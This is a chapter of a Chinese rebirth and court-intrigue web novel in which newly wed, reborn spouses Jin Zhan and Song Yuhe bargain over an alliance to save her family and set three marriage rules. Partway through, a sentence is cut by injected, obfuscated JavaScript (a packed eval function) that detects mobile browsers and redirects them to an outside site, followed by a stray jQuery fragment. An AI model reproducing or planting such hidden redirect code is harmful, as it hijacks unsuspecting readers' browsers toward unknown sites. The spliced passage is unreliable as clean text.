金旃呼吸难平,丹蔻掐进掌心:“不会!我爹绝不会贪墨!哥哥的死也绝不会是因为父亲!”
宋玉禾却只是冷静的开口:“可上一世的结局就是,忠武侯入狱不过七日,三司还未鞫审定罪,便在诏狱自尽而亡,已是认罪。皇帝念其逆王案护驾之功、世子北狄血战之勋,压下罪名只削爵抄家。”
荒唐!这是何等的荒唐?何等的可笑?
金旃愣住,似乎仍旧反应不过来,泪水不住的落下。
宋玉禾见她临近崩溃,心道——原来,这些她当真不知晓。金归鸿真的把她保护的太好了。
他将一方素帕轻轻推到她手边的桌沿,轻声道:“无论是真是假,今生非前世,你我既已重头来过,万事皆可逆转。你,又在怕什么呢?”
“怕”这个字像一根针,精准地刺破了金旃被恐惧浸泡的混沌——是啊!重活一世,我金旃岂是坐以待毙之人?既然兰蘩的命运能改,父兄的结局为何不能?这些莫须有的罪名,这可笑离谱到无法接受的结局,哪里不能逆转!
金旃反应过来,看到桌沿那方素帕,才惊觉自己的失态,她侧过身,一手擦去泪水。再回头时,恶狠狠地剜了宋玉禾一眼:“废话这样多!”
她挺直腰背,眼尾那抹猩红此刻成了最凌厉的妆点。
“宋玉禾,你说了这么多,不就是想拿我父兄的安危做筹码,让我与你绑在一条船上吗?行!我金旃认这笔账,你要交易,我奉陪!说吧,你重活这一世,又想从我这里得到什么?”
宋玉禾耳边仿佛又响起父亲的嘱托【为天地立心,为生民立命……】以及诏狱中金归鸿所指的【清明道】……
他按下紊乱的心绪与尚未成型的谋划,面上依旧波澜不惊,只淡淡道:“我的要求尚未想好。待时机成熟,自会告知。”
尚未想好?时机成熟?
金旃心中重复着这四个字,脸色阴沉——他宋玉禾,重活一世,竟连自己的“棺材本”要价都还没想好?今夜坦白一切,还有父兄之死的真相全都告诉自己,却又不言明交易,要么他是真有通天谋算,要么便是又在耍她!
她双手撑着脑袋,冷笑道:“你暗指咱们金家危如累卵。但宋玉禾,你以为你不在危局之中吗?”
宋玉禾一愣。
她那双通红的眼睛配上那戏谑的笑,灯下越发诡艳动人。
“如今灯下看美人,越发觉得……”她咋舌微叹,眼中却满是恶意,“夫君长成这样,可真是危险啊。”
“无权无势的玉面探花郎,偏生又长了这么一身硌人的硬骨头。你说,若是再被赵乾佑盯上,你是打算宁折不弯守贞洁?还是……”她故意拖长了调子,歪头一笑,“说服自己,再入那东宫暖阁,承欢于太子榻上,重操旧业?”
金旃的每一个词都像烧红的烙铁,狠狠烫在宋玉禾最隐秘屈辱的伤疤上。
前世东宫那令人作呕的龙涎香气,金锁链勒进腕骨的剧痛,赵乾佑如同毒蛇般黏腻的低语……
宋玉禾的瞳孔骤然紧缩,猛地闭紧双眼,长睫剧烈颤抖,喉结艰难地滚动了一下,强压下涌到喉头的反呕感。
再睁眼时,眸底那潭古井已被彻底搅浑,翻涌着恼意和深不见底的寒气:“你,此言何意?”
金旃赏看着他难得的失态,笑意浅淡。
“何意?宋玉禾,别装了。你改了殿试对策,让张大淳人头落地,你以为赵乾佑就只会恨你入骨?他今日看你的眼神,旁人都道是杀师之仇。”金旃的轻声细语,却似乎还是带着残忍的玩味,字字诛心,“可我瞧得真真儿的。他今生初见你的眼神,可比上辈子还要复杂。”
她慢条斯理地继续凌迟:“怎么?前生你与我和离后入了东宫,日日夜夜与赵乾佑相对,他看你时是何种眼神,何种心思,你当真忘得一干二净了?”
宋玉禾的指节捏得咯咯作响,指尖几乎要将掌心掐出血来。可他眼中只余一片冰冷,轻声反问:“所以呢?”
金旃挑眉,脸上那狎昵的笑意瞬间收敛,取而代之的是一种近乎肃杀的郑重:“我金旃可不愿意将身家性命押在不清不楚的盟友身上。你想要什么,我今日若不知晓,这交易便无从谈起。我只会承诺我能掌控之事。”
宋玉禾却嗤笑一声,问道:“那依照你的逻辑,今生你能给我什么?”
金旃平静的看着他,许久才开口说道:“宋玉禾,今生我第一求,便是同你好好过日子。你是个聪明人,应该知道此话不假。”
宋玉禾听到这话,神色淡然——自然。你用尽心机嫁给今生的自己,不就是为了更方便的“卖夫”吗?
金旃继续开口:“可你今夜既然挑明也是重生之人,那我也知道,前世你我之间的怨怼仇恨同样很难忘怀。各怀鬼胎的你我,今生定然成不了同心同德的夫妻,那我们——就作同盟伙伴。”
宋玉禾微微挑眉。
“今日我便定下交易筹码。我要你与我同心,护住忠武侯府,护我父兄周全!以此为交换,”金旃一字一句,重若千钧,“我金旃起誓,今生必护你宋玉禾周全,让你所求得偿。绝不容你沦为禁脔玩物,更不会让你背负妖臣污名,身首异处。”
龙凤花烛下,那流霞般的嫁衣在烛光下似焰火。
可新娘的目光比火焰还炙热,燃烧的越发灼灼。
在宋玉禾的眼中,冰凉的喜房里唯有她是炙热的。
她就这样笃定的,再次重复道:“宋玉禾,我会护住你。”
这最后一句,没有狎昵,没有嘲讽,仿佛要用自己的命铸就这个承诺。
宋玉禾清楚地知道,金旃说得出,就做得到。更清楚,她口中那“身首异处”正是他前世的下场。
金旃果然知道自己的结局……她看见了,看见了那个下场最污糟不堪的宋玉禾。
这个念头,连同她此刻眼中那份不惜一切的决绝,让宋玉禾的心口如同压上了一块万钧巨石,沉重得几乎无法呼吸。
“你说,让我所求得偿。那你知道……我所求是什么吗?”
上辈子,他以为燃尽所有换来的复仇是完美的终局。可重活一世,那曾支撑他血肉的恨意与目标骤然抽离,只留下无边无际的空茫。他想要一个切确的目标,足以让他考虑今生的每一步。
可问出这句话后,宋玉禾后悔了——金旃,这个上辈子最恨自己的女人,哪里会知道自己所求什么呢?
不过,宋玉禾安抚自己——既然已经问出了口,听一听,有又何妨?
只见自己的新娘,指尖轻轻划过冰冷的杯沿,沉默了片刻。
那沉默像无形的网,将宋玉禾心头的焦灼勒得更紧。
终于,她抬眼,眸光清亮如寒潭映月。
“上辈子,你攀龙附凤,趋炎附势,眼中唯有那权势煊赫的云霄。”她唇角勾起一丝极淡弧度,“可最后粉身碎骨的滋味,你我也都尝过了。”
宋玉禾沉默地盯着她,按在桌上的手不自觉攥成拳头,指节微微发白。
金旃忽地轻笑出声,狡黠的像只偷到腥的猫儿。她慢悠悠地晃了晃脑袋:“前世求权势,摔得惨兮兮。那今生——”
“你便求一求真情吧?比如,”她倾身向前,一张俏脸几乎要凑到宋玉禾鼻尖前,那双灵动的眼睛眨了眨,闪烁着恶作剧般的光芒,“先求求我?”
宋玉禾被她这莫名其妙的发言惊愕到,一双瑞凤眼睁得溜圆,素来清冷的脸上显得呆滞可爱。
金旃得逞似的咯咯笑起来,退了回去,却又用指尖轻轻戳了戳他紧攥的青筋微凸的拳头,戏谑笑道:“哟,拳头捏这么紧干嘛?怕我吃了你呀?”
“你……”宋玉禾只吐出一个你字,却不知该说什么了。
她歪着头,笑得极是娇媚:“难道不是么?咱们都死过一次了,还盯着那冷冰冰的权势多没意思,不如试试这人间烟火?”
宋玉禾彻底被她这没脸没皮的调戏噎住了——是啊!金旃,这个自己见过的最无理取闹、极为恣意的女人,还能给出什么好的提议呢?
他深吸一口气,不再看那笑意盈盈的新娘子,兀自执起桌上的玉壶。
他执起玉壶,稳稳倒了两杯澄澈的合卺酒,琥珀色的酒液在烛光下荡漾着暖意。
“好。”他终于开口,声音带着一丝不易察觉的疲惫和认栽后的妥协,“夫人高见,我会斟酌。”
宋玉禾抬眼,对上金旃依旧充满兴味的眸子,语气重归冷静:“就如夫人所言。你我夫妻,各怀鬼胎,各取所需。既是盟约,亦需约法三章,以定边界。”
那“边界”二字,咬得格外清晰,仿佛在提醒对面盟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260440|180133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
友注意分寸。
金旃挑眉:“先说说。”
宋玉禾伸出一指:“一,分居别院,互不侵扰。”
金旃差点笑出声,她歪着头,眼波流转,带着促狭的笑意打量着宋玉禾,“夫妻分院?啧啧,这传出去,外头是议论新妇不贤,不履妻职呢?还是该猜疑新郎官儿……”
她眼神暧昧地在他身上溜了一圈,“力不从心,难行夫纲呀?”
宋玉禾被她这大胆的调侃噎得一滞——前世分明是她冷言冷语要分居,如今倒像是他成了那个“不行”的?
宋玉禾嗤笑一声:“陋室寒榻,不敢脏了夫人玉体。夫人请居东院,我宿西厢。三餐分灶,衣物自理。”
金旃拍掌一笑:“这话说的,可比前世的我体面多了。原来,被人约法不许亲近是这么个心态啊。宋玉禾,你上辈子没跳起来打我当真是君子。”
眼见宋玉禾又硬撑着脸皱眉,金旃心情又好了几分,笑着摆摆手:“好啦好啦,继续继续,第二呢?”
宋玉禾指尖敲桌:“二,安守本分,不得以妻之名行恶。”
“啊……这又是什么说法?”
宋玉禾看她一副不以为然的样子,说道:“你生性洒脱不羁,可既为人妇,若仍如婚前般‘快意恩仇’,我实难承受千人指摘。请谨记,不借我名号敛财,不仗势欺压良善,更不可……红杏出墙,有损门楣。”
“咳!咳咳咳……”
金旃正想象他还能说出什么花来,冷不丁被这最后一句呛得直咳嗽,脸蛋都涨红了——好家伙!果然在这儿等着呢!那顶绿帽子,他记到骨子里了!
眼见金旃瞪圆了眼睛,脸色由红转青,宋玉禾迅速移开目光,语速稍快:“其三——若他日缘分已尽,和离之后,生死由命,各不相干。”
说着,他已拿出袖袋中的一封信纸,放在金旃眼前。
金旃一看,拈着那纸和离书,冷笑一声,眼波斜睨着他:“在我忙着筹备这红烛高照、喜气洋洋的新婚夜,夫君却忙着盘算和离散伙?”
宋玉禾却似乎对她的怒意视而不见,只是将其中一杯酒稳稳推向金旃的方向:“如何?”
瞧着手中的和离书,金旃按下心中薄怒,思索片刻,笑道:“那我也有个要求。”
“……说吧。”
金旃笑着手指轻轻点着桌面:“你的棺材本儿得交给我保管。”
宋玉禾明显一愣:“棺材本儿?”
饶是他心思深沉,也被这突如其来的要求弄得有些茫然。
“对!”金旃点头,一本正经,“就是你的身家性命钱,养老送终的银子,都得交给我保管。”
宋玉禾看着她亮晶晶、带着点小算计的眼神,沉默片刻,最终缓缓点头:“即是夫妻,往后俸禄所得,自当交由你保管。”
金旃心道——前世我可是掏出全部身家安葬了你,你当然得还给我。管你什么约法三章,我重活一世,说要好好和你过日子就是好好过日子。反正现在成亲了,你逃不出我的手掌心!
她心情大好,伸手就去拿酒杯。宋玉禾见状,也执起自己那杯,准备与她碰杯饮下这盟约之酒。
就在两杯即将相碰的刹那——
金旃手腕灵巧地一翻一转,动作快如闪电。宋玉禾只觉得眼前红袖一晃,自己的手臂已被一股不容抗拒的力道带着抬起、弯曲。下一刻,两人的手臂已然交缠在一起,形成了一个标准的合卺交杯姿势。
宋玉禾愕然,下意识就想抽回手臂。
“你敢!”金旃柳眉倒竖,另一只手“啪”地一声拍在桌面上,震得杯中酒液微漾,声音清脆又带着不容置疑的娇蛮。
她瞪着宋玉禾,眼神亮得惊人,带着点威胁,又带着点狡黠的笑意。
宋玉禾被她这气势汹汹的模样“震慑”住,手臂僵在半空,当真不敢再动。
金旃甜甜一笑:“新婚夜,不喝合卺酒,不成体统。”
宋玉禾看着她带着狡黠执拗的明媚笑颜,挑眉叹笑,轻轻颔首:“……好。”
金旃笑意更盛,似乎真是嫁于心上人的欢欣。
洞房花烛夜,龙凤红烛高燃,将两人亲密交颈的身影长长地投映在洒满吉祥果的红纱帐幔之上。
恰似一对新婚璧人,更如战前歃血为盟的战友。